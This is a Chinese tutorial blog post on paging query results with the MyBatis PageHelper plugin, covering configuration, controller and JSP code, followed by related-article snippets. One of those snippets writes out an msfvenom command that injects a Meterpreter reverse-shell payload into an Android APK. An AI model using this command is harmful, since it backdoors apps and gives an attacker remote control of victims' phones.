Mybatis-PageHelpera是一个很好的第三方分页插件,支持很多数据库,几乎主流的数据库都支持

  github地址:https://github.com/pagehelper/Mybatis-PageHelper

  oschina地址:https://gitee.com/free/Mybatis_PageHelper

  下面我们几尝试的使用一下这个分页插件吧

  1. 引入第三方jar

<dependency>
<groupId>com.github.pagehelper</groupId>
<artifactId>pagehelper</artifactId>
<version>5.0.0</version>
</dependency>
  1. 在application.xml 写拦截配置

<bean id="demoSqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
<!--dataSource属性指定要用到的连接池-->
<property name="dataSource" ref="dataSource"/>
<!--configLocation属性指定mybatis的核心配置文件-->
<property name="configLocation" value="classpath:configuration.xml"/>
<property name="mapperLocations" value="classpath:com/yihaomen/mybatis/model/*.xml"/>
<property name="typeAliasesPackage" value="com.yihaomen.mybatis.model" />
<property name="plugins">
<array>
<bean class="com.github.pagehelper.PageInterceptor">
<property name="properties">
<value>
helperDialect=mysql
reasonable=true
supportMethodsArguments=true
params=count=countSql
autoRuntimeDialect=true
</value>
</property>
</bean>
</array>
</property>
</bean>

  3.写controller层

@RequestMapping("/pageList")
public ModelAndView pageUserList(ModelAndView mv,
@RequestParam(required = true, defaultValue = "1") Integer pageNum,
@RequestParam(required = true, defaultValue = "3") Integer pageSize) {
PageHelper.startPage(pageNum, pageSize);
List<Article> list = articleService.getAllArticles();
PageInfo<Article> pageInfo = new PageInfo<Article>(list);
mv.addObject("list", list);
mv.addObject("page", pageInfo);
mv.setViewName("list2");
return mv;
}

  4. 写页面list2.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>article list</title>
</head>
<body>
<c:forEach items="${list}" var="item">
${item.id }--${item.title }--${item.content }<br />
</c:forEach>
<br/>
<a href="/user/pageList?pageNum=${page.prePage}">上一页</a>
<a href="/user/pageList?pageNum=${page.nextPage}">下一页</a>
</body>
</html>

https://gitee.com/huayicompany/springmvc-mybatis

mybatis-pageHelper做分页的更多相关文章

  1. SpringBoot+Mybatis+PageHelper实现分页

    SpringBoot+Mybatis+PageHelper实现分页 mybatis自己没有分页功能,我们可以通过PageHelper工具来实现分页,非常简单方便 第一步:添加依赖 <depend ...

  2. Python分页转Mybatis pagehelper格式分页

    最近工作里遇到一个需求要把之前用Java写的一个http接口替换成用Python写的,出参是带了mybatis pageHelper中PageInfo信息的一个JSON串,而Python这边分页不会涉 ...

  3. MyBatis+PageHelper实现分页

    转载请注明出处:http://www.cnblogs.com/Joanna-Yan/p/7256105.html 前面讲到Spring+SpringMVC+MyBatis深入学习及搭建(十七)--Sp ...

  4. SpringBoot+Mybatis+PageHelper简化分页实现

    前言 经过一段时间的测试和修改PageHelper插件逐渐走到了让我觉得靠谱的时候,它功能的就是简化分页的实现,让分页不需要麻烦的多写很多重复的代码. 已经加入我的github模版中:https:// ...

  5. spring-boot + mybatis +pagehelper 使用分页

    转自:https://segmentfault.com/a/1190000015668715?utm_medium=referral&utm_source=tuicool 最近自己搭建一个sp ...

  6. SpringBoot 整合Mybatis + PageHelper 实现分页

    前言: 现在公司大多数都实现了前后端分离,前端使用Vue.React.AngularJS 等框架,不用完全依赖后端.但是如果对于比较小型的项目,没必要前后端分离,而SpringBoot也基本抛弃了Js ...

  7. mybatis如何做分页处理

    1.首先根据自己实际需求编写实体类 import java.io.Serializable; public class User implements Serializable{ //最好将该实体类序 ...

  8. 后端分页神器,mybatis pagehelper 在SSM与springboot项目中的使用

    mybatis pagehelper想必大家都耳熟能详了,是java后端用于做分页查询时一款非常好用的分页插件,同时也被人们称为mybatis三剑客之一,下面 就给大家讲讲如何在SSM项目和sprin ...

  9. Mybatis下collections使用pageHelper进行分页

    pageHelper在对mybatis一对多分页时造成查询总页数结果不对的情况. 可以做出如下修改: service层: public CommonResult worksList(String us ...

  10. SpringBoot集成Mybatis并具有分页功能PageHelper

    SpringBoot集成Mybatis并具有分页功能PageHelper   环境:IDEA编译工具   第一步:生成测试的数据库表和数据   SET FOREIGN_KEY_CHECKS=0;   ...

随机推荐

  1. Windows上最大传输单元MTU值的查看和设置

    最近使用ssh工具在VPN环境下连接一个生产环境的Linux主机的时候,发现经常出现输入命令后卡死的情况.最开始以为是Linux主机的问题,问了一些老同事之后发现原来是我自己电脑的最大传输单元MTU和 ...

  2. 使用Docker搭建Jenkins+Docker持续集成环境(自动化构建发布部署)

    本文介绍如何通过Jenkins的docker镜像从零开始构建一个基于docker镜像的持续集成环境,包含自动化构建.发布到仓库\并部署上线. 0. 前置条件 服务器安装docker,并启动docker ...

  3. 小白的Python之路 day5 shelve模块讲解

    shelve模块讲解 一.概述 之前我们说不管是json也好,还是pickle也好,在python3中只能dump一次和load一次,有什么方法可以向dump多少次就dump多少次,并且load不会出 ...

  4. macOS 中 apache vhosts 配置备忘

    1. 修改 apache 服务器指向的根目录 macOS 默置了 apache,有以下几个常用命令: sudo apachectl -v // 查看 apache 版本 httpd -v // 同上 ...

  5. msf向存在漏洞的apk注入payload

    命令:msfvenom -x /路径/apk -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 只要别人一打开这个被注入payload后的软件就 ...

  6. Codeforces 768A Oath of the Night's Watch

    A. Oath of the Night's Watch time limit per test:2 seconds memory limit per test:256 megabytes input ...

  7. bzoj:2331: [SCOI2011]地板

    Description lxhgww的小名叫“小L”,这是因为他总是很喜欢L型的东西.小L家的客厅是一个的矩形,现在他想用L型的地板来铺满整个客厅,客厅里有些位置有柱子,不能铺地板.现在小L想知道,用 ...

  8. Gym 100952E&&2015 HIAST Collegiate Programming Contest E. Arrange Teams【DFS+剪枝】

    E. Arrange Teams time limit per test:2 seconds memory limit per test:64 megabytes input:standard inp ...

  9. vue实现侧边栏手风琴效果

    模板 代码如下 html <template> <div class="header"> <ul> <!-- 循环数据在点击调用chang ...

  10. 使用Git将本地项目或代码上传到GitHub上

    1.要托管到github,那你就应该要有一个属于你自己的github帐号,所以你应该先到github.com注册.打开浏览器在地址栏输入地址:github.com 填写用户名.邮箱.密码,点击Sign ...